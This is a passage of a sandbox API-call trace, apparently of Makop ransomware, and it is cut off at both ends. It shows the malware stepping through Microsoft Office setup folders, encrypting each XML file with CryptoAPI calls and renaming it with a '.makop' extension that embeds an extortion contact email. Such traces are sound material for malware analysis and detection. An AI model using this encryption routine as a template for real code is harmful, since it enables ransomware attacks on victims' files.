0x48c3738 [0092.582] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0092.582] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.582] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0092.582] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.582] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.583] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.583] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.583] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.583] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.583] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x93a, lpOverlapped=0x0) returned 1 [0092.584] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x940, dwBufLen=0x940 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x940) returned 1 [0092.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.584] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x940, lpOverlapped=0x0) returned 1 [0092.584] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.584] SetEndOfFile (hFile=0x114) returned 1 [0092.590] GetProcessHeap () returned 0x48a0000 [0092.591] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0092.591] GetProcessHeap () returned 0x48a0000 [0092.591] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.591] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 151 [0092.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.645] CloseHandle (hObject=0x114) returned 1 [0092.646] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0092.647] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0092.647] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0092.647] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW") returned 91 [0092.647] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*") returned 95 [0092.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0092.650] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.650] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0092.650] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0092.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.651] GetProcessHeap () returned 0x48a0000 [0092.651] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.651] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.651] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.651] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xe, lpOverlapped=0x0) returned 1 [0092.681] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.681] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.681] GetProcessHeap () returned 0x48a0000 [0092.681] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.681] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0092.681] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.681] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0092.681] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.681] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.682] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.682] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.682] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.682] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.682] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x10b2, lpOverlapped=0x0) returned 1 [0092.684] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x10c0) returned 1 [0092.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.684] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x10c0, lpOverlapped=0x0) returned 1 [0092.684] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.684] SetEndOfFile (hFile=0x114) returned 1 [0092.690] GetProcessHeap () returned 0x48a0000 [0092.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0092.690] GetProcessHeap () returned 0x48a0000 [0092.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.690] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 153 [0092.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.692] CloseHandle (hObject=0x114) returned 1 [0092.692] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0092.692] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0092.692] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0092.692] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us") returned 93 [0092.692] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*") returned 97 [0092.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0092.695] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.695] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0092.695] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.695] GetProcessHeap () returned 0x48a0000 [0092.695] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.696] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.696] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xa, lpOverlapped=0x0) returned 1 [0092.699] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.699] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.700] GetProcessHeap () returned 0x48a0000 [0092.700] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.700] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0092.700] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.700] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0092.700] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.700] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.700] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.701] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.701] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.701] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.701] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x646, lpOverlapped=0x0) returned 1 [0092.701] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x650, dwBufLen=0x650 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x650) returned 1 [0092.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.702] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x650, lpOverlapped=0x0) returned 1 [0092.702] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.702] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.702] SetEndOfFile (hFile=0x114) returned 1 [0092.712] GetProcessHeap () returned 0x48a0000 [0092.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0092.713] GetProcessHeap () returned 0x48a0000 [0092.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.713] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 155 [0092.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.714] CloseHandle (hObject=0x114) returned 1 [0092.714] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0092.714] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0092.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.715] GetProcessHeap () returned 0x48a0000 [0092.715] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.715] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.715] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xc, lpOverlapped=0x0) returned 1 [0092.719] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.719] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.719] GetProcessHeap () returned 0x48a0000 [0092.719] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0092.719] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, 